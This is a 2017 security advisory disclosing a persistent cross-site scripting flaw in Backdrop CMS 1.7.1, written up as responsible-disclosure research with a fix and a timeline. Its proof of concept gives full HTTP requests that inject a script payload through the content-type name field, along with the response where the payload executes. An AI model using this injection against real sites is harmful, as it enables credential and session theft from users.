Backdrop CMS 1.7.1 Cross Site Scripting

======================================== =============================================
MGC ALERT 2017-005
- Original release date: July 11, 2017
- Last revised: August 18, 2017
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,8/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Backdrop CMS <= 1.7.1 - Persistent Cross-Site Scripting

II. BACKGROUND
-------------------------
Backdrop CMS is a simple, lightweight, and easy to use Content Management
System used to build attractive, professional websites.

III. DESCRIPTION
-------------------------
Has been detected a Persistent XSS vulnerability in Backdrop CMS, that
allows the execution of arbitrary HTML/script code to be executed in the
context of the victim user's browser.

IV. PROOF OF CONCEPT
-------------------------
Go to: Structure -> Content types -> Add content type

And post:

POST /backdrop/admin/structure/types/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101
Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 605
Referer: http://127.0.0.1/backdrop/admin/structure/types/add
Cookie: Backdrop.tableDrag.showWeight=0;
PHPSESSID=libl3ge64tv5vajangccjhifu2; phpwcmsBELang=en;
phpwcmsBEItemsPerPage=50; _ctr=MTI3XzBfMF8xLlpa;
nv4_cltz=120.60.120%257C%252F%257C;
nv4_cltn=RXVyb3BlL0Ftc3RlcmRhbS43MjAwLjE%3D;
nv4c_x4OOk_ctr=MTI3XzBfMF8xLlpa; nv4c_x4OOk_cltz=120.60.120%257C%252F%257C;
gnew_date_format=D%2C+M+jS+Y%2C+g%3Ai+a; gnew_date_offset=0;
gnew_language=english; gnew_template=clean;
SESSaca5a63f4c2fc739381fab7741d68783=X4OPoKhvYQz8Q8QwCrVpgq3JuG4fQ84n1XpQQH0SCjo
Connection: close
Upgrade-Insecure-Requests: 1

name=test%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&type=test_script_alert&description=&title_label=Demo&help=&status_default=1&sticky_enabled=1&promote_enabled=1&path_pattern=%5Bnode%3Acontent-type%5D%2F%5Bnode%3Atitle%5D&revision_enabled=1&node_submitted=1&node_user_picture=1&comment_default=2&comment_per_page=50&comment_mode=1&comment_user_picture=1&comment_form_location=1&comment_preview=1&additional_settings__active_tab=&form_build_id=form-biLaugWmv7Z4fGmSK73PYxQZo7hgIwxL2gRwijtrBFA&form_token=j4801oRGZnTQshQQdJ1IKF7-doK6IhB51F1d4nIPwY4&form_id=node_type_form&op=Save+and+add+fields

The variable "name" it is not sanitized, later, if you go to the content
type created and click in "Manage Displays"

GET /backdrop/admin/structure/types/manage/test-script-alert/display
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101
Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

The XSS is executed, in the response you can view:

Manage display</a></li></ul></div></div></td> </tr><tr class="header
even"><td>Customized for test"><script>alert(/XSS/)</script></td><td
class="priority-low"></td><td></td> </tr>

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted user's
browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.

VI. SYSTEMS AFFECTED
-------------------------
Backdrop CMS <= 1.7.1

VII. SOLUTION
-------------------------
Install the last release:
https://github.com/backdrop/backdrop/releases/tag/1.7.2

VIII. REFERENCES
-------------------------
https://backdropcms.org/security/backdrop-sa-core-2017-009

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
July 11, 2017 1: Initial release
August 18, 2017 2: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
July 11, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
July 11, 2017 2: Send to vendor
August 17, 2017 3: Vendo fix in 1.7.2 version
August 18, 2017 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester